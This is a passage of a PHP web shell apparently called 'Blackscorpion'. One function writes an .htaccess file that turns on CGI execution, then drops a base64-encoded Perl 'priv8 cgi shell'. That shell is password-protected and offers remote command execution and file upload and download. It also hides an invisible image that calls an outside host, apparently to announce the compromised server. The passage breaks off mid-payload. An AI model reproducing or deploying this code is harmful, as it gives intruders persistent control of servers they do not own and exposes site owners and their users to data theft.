- <input type = "submit" name="ghaza" value ="Ghaza Shell" class="input"></td></tr>
- <tr><td></div>';
- BlackscorpionFooter();
- }
- function actionCgiShell() {
- BlackscorpionHeader();
- echo '<h1>Cgitelnet</h1><div class=content>';
- mkdir('cgitelnet1', 0755);
- chdir('cgitelnet1');
- $kokdosya = ".htaccess";
- $dosya_adi = "$kokdosya";
- $dosya = fopen($dosya_adi, 'w') or die("Dosya açılamadı!");
- $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
- AddType application/x-httpd-cgi .cin
- AddHandler cgi-script .cin
- AddHandler cgi-script .cin";
- fwrite($dosya, $metin);
- fclose($dosya);
- $cgishellizocin = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWFpbg0KIy0tLS0tLS0tLS0tLS0tLS0t
- LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
- LS0tLQ0KIyA8YiBzdHlsZT0iY29sb3I6YmxhY2s7YmFja2dyb3VuZC1jb2xvcjojZmZmZjY2Ij5w
- cml2OCBjZ2kgc2hlbGw8L2I+ICMgc2VydmVyDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
- LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoNCiMt
- LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
- LS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQ29uZmlndXJhdGlvbjogWW91IG5lZWQgdG8gY2hhbmdl
- IG9ubHkgJFBhc3N3b3JkIGFuZCAkV2luTlQuIFRoZSBvdGhlcg0KIyB2YWx1ZXMgc2hvdWxkIHdv
- cmsgZmluZSBmb3IgbW9zdCBzeXN0ZW1zLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
- LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KJFBhc3N3
- b3JkID0gInByaXY4IjsJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhp
- cw0KCQkJCSMgdG8gbG9naW4uDQoNCiRXaW5OVCA9IDA7CQkJIyBZb3UgbmVlZCB0byBjaGFuZ2Ug
- dGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZg0KCQkJCSMgeW91J3JlIHJ1bm5pbmcgdGhpcyBzY3Jp
- cHQgb24gYSBXaW5kb3dzIE5UDQoJCQkJIyBtYWNoaW5lLiBJZiB5b3UncmUgcnVubmluZyBpdCBv
- biBVbml4LCB5b3UNCgkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuDQoNCiROVENt
- ZFNlcCA9ICImIjsJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1h
- bmRzDQoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULg0KDQokVW5peENtZFNl
- cCA9ICI7IjsJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRz
- DQoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBVbml4Lg0KDQokQ29tbWFuZFRpbWVvdXREdXJh
- dGlvbiA9IDEwOwkjIFRpbWUgaW4gc2Vjb25kcyBhZnRlciBjb21tYW5kcyB3aWxsIGJlIGtpbGxl
- ZA0KCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzDQoJ
- CQkJIyB1c2VmdWwgZm9yIGNvbW1hbmRzIHRoYXQgbWF5IGhhbmcgb3IgdGhhdA0KCQkJCSMgdGFr
- ZSB2ZXJ5IGxvbmcgdG8gZXhlY3V0ZSwgbGlrZSAiZmluZCAvIi4NCgkJCQkjIFRoaXMgaXMgdmFs
- aWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzDQoJCQkJIyBpZ25vcmVkIG9uIE5UIFNlcnZl
- cnMuDQoNCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRh
- IGlzIHNlbnQgdG8gdGhlDQoJCQkJIyBicm93c2VyIGFzIHNvb24gYXMgaXQgaXMgb3V0cHV0LCBv
- dGhlcndpc2UNCgkJCQkjIGl0IGlzIGJ1ZmZlcmVkIGFuZCBzZW5kIHdoZW4gdGhlIGNvbW1hbmQN
- CgkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UNCgkJCQkj
- IHBpbmcsIHNvIHRoYXQgeW91IGNhbiBzZWUgdGhlIG91dHB1dCBhcyBpdA0KCQkJCSMgaXMgYmVp
- bmcgZ2VuZXJhdGVkLg0KDQojIERPTidUIENIQU5HRSBBTllUSElORyBCRUxPVyBUSElTIExJTkUg
- VU5MRVNTIFlPVSBLTk9XIFdIQVQgWU9VJ1JFIERPSU5HICEhDQoNCiRDbWRTZXAgPSAoJFdpbk5U
- ID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOw0KJENtZFB3ZCA9ICgkV2luTlQgPyAiY2QiIDog
- InB3ZCIpOw0KJFBhdGhTZXAgPSAoJFdpbk5UID8gIlxcIiA6ICIvIik7DQokUmVkaXJlY3RvciA9
- ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOw0KDQojLS0tLS0tLS0tLS0t
- LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
- LS0tLS0tLS0tDQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJz
- ZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQNCiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlw
- YXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4NCiMgVGhlIGZp
- bGVuYW1lIGlzIHN0b3JlZCBpbiAkaW57J2YnfSBhbmQgdGhlIGRhdGEgaXMgc3RvcmVkIGluICRp
- bnsnZmlsZWRhdGEnfS4NCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAk
- aW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YNCiMgdGhlIHZhcmlhYmxlLiBOb3Rl
- OiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBD
- R0kNCiMgc2NyaXB0cy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
- LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBSZWFkUGFyc2UgDQp7
- DQoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsNCglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwp
- Ow0KCQ0KCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0
- aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOw0KDQoJaWYoJEVOVnsnUkVRVUVTVF9N
- RVRIT0QnfSBlcSAiR0VUIikNCgl7DQoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9Ow0KCX0N
- CgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikNCgl7DQoJCWJpbm1vZGUo
- U1RESU4pIGlmICRNdWx0aXBhcnRGb3JtRGF0YSAmICRXaW5OVDsNCgkJcmVhZChTVERJTiwgJGlu
- LCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsNCgl9DQoNCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBk
- YXRhDQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBi
- b3VuZGFyeT0oLispJC8pDQoJew0KCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZl
- ciB0byBSRkMxODY3IA0KCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyANCgkJJEhl
- YWRlckJvZHkgPSAkbGlzdFsxXTsNCgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOw0K
- CQkkSGVhZGVyID0gJGA7DQoJCSRCb2R5ID0gJCc7DQogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMg
- dGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlDQoJCSRpbnsnZmlsZWRhdGEnfSA9
- ICRCb2R5Ow0KCQkkSGVhZGVyID1+IC9maWxlbmFtZT1cIiguKylcIi87IA0KCQkkaW57J2YnfSA9
- ICQxOyANCgkJJGlueydmJ30gPX4gcy9cIi8vZzsNCgkJJGlueydmJ30gPX4gcy9ccy8vZzsNCg0K
- CQkjIHBhcnNlIHRyYWlsZXINCgkJZm9yKCRpPTI7ICRsaXN0WyRpXTsgJGkrKykNCgkJeyANCgkJ
- CSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOw0KCQkJJGxpc3RbJGldID1+IC9cIihcdyspXCIv
- Ow0KCQkJJGtleSA9ICQxOw0KCQkJJHZhbCA9ICQnOw0KCQkJJHZhbCA9fiBzLyheKFxyXG5cclxu
- fFxuXG4pKXwoXHJcbiR8XG4kKS8vZzsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4
- KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gPSAkdmFsOyANCgkJfQ0KCX0NCgllbHNlICMgc3RhbmRh
- cmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkNCgl7DQoJCUBpbiA9IHNw
- bGl0KC8mLywgJGluKTsNCgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQ0KCQl7DQoJCQkkaW5bJGld
- ID1+IHMvXCsvIC9nOw0KCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsN
- CgkJCSRrZXkgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkdmFsID1+IHMv
- JSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOw0KCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRl
- ZmluZWQoJGlueyRrZXl9KSk7DQoJCQkkaW57JGtleX0gLj0gJHZhbDsNCgkJfQ0KCX0NCn0NCg0K
- Iy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
- LS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgUGFnZSBIZWFkZXINCiMg
- QXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldA0K
- Iy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
- LS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50UGFnZUhlYWRlcg0Kew0KCSRFbmNvZGVk
- Q3VycmVudERpciA9ICRDdXJyZW50RGlyOw0KCSRFbmNvZGVkQ3VycmVudERpciA9fiBzLyhbXmEt
- ekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJcHJpbnQgIkNvbnRlbnQtdHlwZTog
- dGV4dC9odG1sXG5cbiI7DQoJcHJpbnQgPDxFTkQ7DQo8aHRtbD4NCjxoZWFkPg0KPHRpdGxlPnBy
- aXY4IGNnaSBzaGVsbDwvdGl0bGU+DQokSHRtbE1ldGFIZWFkZXINCg0KPG1ldGEgbmFtZT0ia2V5
- d29yZHMiIGNvbnRlbnQ9InByaXY4IGNnaSBzaGVsbCAgXyAgICAgaTVfQGhvdG1haWwuY29tIj4N
- CjxtZXRhIG5hbWU9ImRlc2NyaXB0aW9uIiBjb250ZW50PSJwcml2OCBjZ2kgc2hlbGwgIF8gICAg
- aTVfQGhvdG1haWwuY29tIj4NCjwvaGVhZD4NCjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZi5AXy5m
- b2N1cygpIiBiZ2NvbG9yPSIjRkZGRkZGIiB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIG1h
- cmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAiIHRleHQ9IiNGRjAwMDAiPg0KPHRhYmxlIGJv
- cmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+DQo8
- dHI+DQo8dGQgYmdjb2xvcj0iI0ZGRkZGRiIgYm9yZGVyY29sb3I9IiNGRkZGRkYiIGFsaWduPSJj
- ZW50ZXIiIHdpZHRoPSIxJSI+DQo8Yj48Zm9udCBzaXplPSIyIj4jPC9mb250PjwvYj48L3RkPg0K
- PHRkIGJnY29sb3I9IiNGRkZGRkYiIHdpZHRoPSI5OCUiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNp
- emU9IjIiPjxiPiANCjxiIHN0eWxlPSJjb2xvcjpibGFjaztiYWNrZ3JvdW5kLWNvbG9yOiNmZmZm
- NjYiPnByaXY4IGNnaSBzaGVsbDwvYj4gQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPC9iPjwvZm9u
- dD48L3RkPg0KPC90cj4NCjx0cj4NCjx0ZCBjb2xzcGFuPSIyIiBiZ2NvbG9yPSIjRkZGRkZGIj48
- Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4NCg0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9u
- P2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+VXBs
- b2FkIEZpbGU8L2ZvbnQ+PC9hPiB8IA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxv
- YWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPjxmb250IGNvbG9yPSIjRkYwMDAwIj5Eb3dubG9hZCBG
- aWxlPC9mb250PjwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij48Zm9u
- dCBjb2xvcj0iI0ZGMDAwMCI+RGlzY29ubmVjdDwvZm9udD48L2E+IHwNCjwvZm9udD48L3RkPg0K
- PC90cj4NCjwvdGFibGU+DQo8Zm9udCBzaXplPSIzIj4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0t
- LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
- LS0tLS0tLS0tDQojIFByaW50cyB0aGUgTG9naW4gU2NyZWVuDQojLS0tLS0tLS0tLS0tLS0tLS0t
- LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
- LS0tDQpzdWIgUHJpbnRMb2dpblNjcmVlbg0Kew0KCSRNZXNzYWdlID0gcSQ8L2ZvbnQ+PGgxPnBh
- c3M9cHJpdjg8L2gxPjxmb250IGNvbG9yPSIjMDA5OTAwIiBzaXplPSIzIj48cHJlPjxpbWcgYm9y
- ZGVyPSIwIiBzcmM9Imh0dHA6Ly93d3cucHJpdjguaWJsb2dnZXIub3JnL3MucGhwPytjZ2l0ZWxu
- ZXQgc2hlbGwiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiPjwvcHJlPg0KJDsNCiMnDQoJcHJpbnQgPDxF
- TkQ7DQo8Y29kZT4NCg0KVHJ5aW5nICRTZXJ2ZXJOYW1lLi4uPGJyPg0KQ29ubmVjdGVkIHRvICRT
- ZXJ2ZXJOYW1lPGJyPg0KRXNjYXBlIGNoYXJhY3RlciBpcyBeXQ0KPGNvZGU+JE1lc3NhZ2UNCkVO
- RA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
- LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgbWVzc2FnZSB0aGF0
- IGluZm9ybXMgdGhlIHVzZXIgb2YgYSBmYWlsZWQgbG9naW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0t
- LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
- LS0NCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQ0Kew0KCXByaW50IDw8RU5EOw0KPGNvZGU+
- DQo8YnI+bG9naW46IGFkbWluPGJyPg0KcGFzc3dvcmQ6PGJyPg0KTG9naW4gaW5jb3JyZWN0PGJy
- Pjxicj4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
- LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50
- cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
- LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpz
- dWIgUHJpbnRMb2dpbkZvcm0NCnsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KDQo8Zm9ybSBuYW1l
- PSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCjxpbnB1dCB0eXBl
- PSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+DQo8L2ZvbnQ+DQo8Zm9udCBzaXplPSIz
- Ij4NCmxvZ2luOiA8YiBzdHlsZT0iY29sb3I6YmxhY2s7YmFja2dyb3VuZC1jb2xvcjojZmZmZjY2
- Ij5wcml2OCBjZ2kgc2hlbGw8L2I+PGJyPg0KcGFzc3dvcmQ6PC9mb250Pjxmb250IGNvbG9yPSIj
- MDA5OTAwIiBzaXplPSIzIj48aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InAiPg0KPGlucHV0
- IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCjwvY29kZT4NCkVORA0KfQ0K
- DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
- LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRN
- TCBQYWdlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
- LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlRm9vdGVyDQp7DQoJ
- cHJpbnQgIjwvZm9udD48L2JvZHk+PC9odG1sPiI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0t
- LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
- LS0NCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNh
- biBiZSBhY2Nlc3NlcyB1c2luZyB0aGUNCiMgdmFyaWFibGUgJENvb2tpZXN7Jyd9DQojLS0tLS0t
- LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
- LS0tLS0tLS0tLS0tLS0tDQpzdWIgR2V0Q29va2llcw0Kew0KCUBodHRwY29va2llcyA9IHNwbGl0
- KC87IC8sJEVOVnsnSFRUUF9DT09LSUUnfSk7DQoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2ll
- cykNCgl7DQoJCSgkaWQsICR2YWwpID0gc3BsaXQoLz0vLCAkY29va2llKTsNCgkJJENvb2tpZXN7
- JGlkfSA9ICR2YWw7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
- LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0
- aGUgc2NyZWVuIHdoZW4gdGhlIHVzZXIgbG9ncyBvdXQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0t
- LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0N
- CnN1YiBQcmludExvZ291dFNjcmVlbg0Kew0KCXByaW50ICI8Y29kZT5Db25uZWN0aW9uIGNsb3Nl
- ZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj48L2NvZGU+IjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0t
- LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
- LS0tLS0tLQ0KIyBMb2dzIG91dCB0aGUgdXNlciBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGxvZ2lu
- IGFnYWluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
- LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ291dA0Kew0KCXBy
- aW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUN
- CgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7DQoJJlByaW50TG9nb3V0U2NyZWVuOw0KDQoJJlByaW50
- TG9naW5TY3JlZW47DQoJJlByaW50TG9naW5Gb3JtOw0KCSZQcmludFBhZ2VGb290ZXI7DQp9DQoN
- CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
- LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gbG9n
- aW4gdGhlIHVzZXIuIElmIHRoZSBwYXNzd29yZCBtYXRjaGVzLCBpdA0KIyBkaXNwbGF5cyBhIHBh
- Z2UgdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gcnVuIGNvbW1hbmRzLiBJZiB0aGUgcGFzc3dvcmQg
- ZG9lbnMndA0KIyBtYXRjaCBvciBpZiBubyBwYXNzd29yZCBpcyBlbnRlcmVkLCBpdCBkaXNwbGF5
- cyBhIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXINCiMgdG8gbG9naW4NCiMtLS0tLS0tLS0tLS0t
- LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
- LS0tLS0tLS0NCnN1YiBQZXJmb3JtTG9naW4gDQp7DQoJaWYoJExvZ2luUGFzc3dvcmQgZXEgJFBh
- c3N3b3JkKSAjIHBhc3N3b3JkIG1hdGNoZWQNCgl7DQoJCXByaW50ICJTZXQtQ29va2llOiBTQVZF
- RFBXRD0kTG9naW5QYXNzd29yZDtcbiI7DQoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCgkJJlBy
- aW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJfQ0KCWVsc2Ug
- IyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkJ
- JlByaW50TG9naW5TY3JlZW47DQoJCWlmKCRMb2dpblBhc3N3b3JkIG5lICIiKSAjIHNvbWUgcGFz
- c3dvcmQgd2FzIGVudGVyZWQNCgkJew0KCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOw0KDQoJ
- CX0NCgkJJlByaW50TG9naW5Gb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0NCn0NCg0KIy0t
- LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
- LS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0
- aGUgdXNlciB0byBlbnRlciBjb21tYW5kcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
- LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFBy
- aW50Q29tbWFuZExpbmVJbnB1dEZvcm0NCnsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50
- RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCglwcmludCA8
- PEVORDsNCjxjb2RlPg0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3Jp
- cHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFu
- ZCI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0K
- JFByb21wdA0KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImMiPg0KPGlucHV0IHR5cGU9InN1Ym1p
- dCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCjwvY29kZT4NCg0KRU5EDQp9DQoNCiMtLS0tLS0t
- LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
- LS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVz
- ZXIgdG8gZG93bmxvYWQgZmlsZXMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
- LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludEZp
- bGVEb3dubG9hZEZvcm0NCnsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDog
- IlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCglwcmludCA8PEVORDsNCjxj
- b2RlPg0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlv
- biI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0K
- PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImRvd25sb2FkIj4NCiRQcm9tcHQg
- ZG93bmxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBz
- aXplPSIzNSI+PGJyPjxicj4NCkRvd25sb2FkOiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0i
- QmVnaW4iPg0KPC9mb3JtPg0KPC9jb2RlPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0t
- LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
- LS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2Fk
- IGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
- LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlVXBsb2FkRm9ybQ0K
- ew0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVy
